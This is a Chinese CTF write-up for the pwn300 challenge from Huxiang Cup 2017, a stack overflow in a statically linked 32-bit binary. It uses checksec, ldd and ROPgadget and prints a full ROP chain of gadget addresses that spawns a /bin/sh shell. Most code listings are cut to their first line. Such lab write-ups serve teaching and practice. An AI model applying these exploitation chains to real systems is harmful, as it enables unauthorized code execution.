Linux栈溢出——静态链接
一般情况下,静态链接的程序很少出现,但是也有一些。这类elf的漏洞利用,主要还是依靠程序本身和用户输入。
利用方式:
(1)程序中含有system函数和/bin/sh字符串,直接构造调用system(‘/bin/sh’)的payload。
(2)寻找程序中的gadget,直接构造出payload。
题目链接
https://github.com/eternalsakura/ctf_pwn/tree/master/湖湘杯2017/pwn300
静态分析
利用
checksec 安全性检查
32位程序,没有ASLR,没有canary,可以说是十分好利用了。
查看是否静态链接
ldd pwn300
确定是静态链接了,那么我们之间在elf文件里找gadget即可
ROPgadget生成rop链
关于ROPgadget:https://github.com/JonathanSalwan/ROPgadget/tree/master
关于ROP:https://www.slideshare.net/hackstuff/rop-40525248ROPgadget --binary pwn300 --ropchain
1 | #!/usr/bin/env python2 |
因为我们需要的不是这种形式的,所以写个脚本处理一下。
1 | rop = [] |
[‘0x0806ed0a’, ‘0x080ea060’, ‘0x080bb406’, ‘/bin’, ‘0x080a1dad’, ‘0x0806ed0a’, ‘0x080ea064’, ‘0x080bb406’, ‘//sh’, ‘0x080a1dad’, ‘0x0806ed0a’, ‘0x080ea068’, ‘0x08054730’, ‘0x080a1dad’, ‘0x080481c9’, ‘0x080ea060’, ‘0x0806ed31’, ‘0x080ea068’, ‘0x080ea060’, ‘0x0806ed0a’, ‘0x080ea068’, ‘0x08054730’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x08049781’]
把两个字符串再处理一下
1 | import binascii |
得到0x6e69622f,0x68732f2f
替换进去,得到rop=
[‘0x0806ed0a’, ‘0x080ea060’, ‘0x080bb406’, ‘0x6e69622f’, ‘0x080a1dad’, ‘0x0806ed0a’, ‘0x080ea064’, ‘0x080bb406’, ‘0x68732f2f’, ‘0x080a1dad’, ‘0x0806ed0a’, ‘0x080ea068’, ‘0x08054730’, ‘0x080a1dad’, ‘0x080481c9’, ‘0x080ea060’, ‘0x0806ed31’, ‘0x080ea068’, ‘0x080ea060’, ‘0x0806ed0a’, ‘0x080ea068’, ‘0x08054730’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x0807b75f’, ‘0x08049781’]
exp
1 | from pwn import * |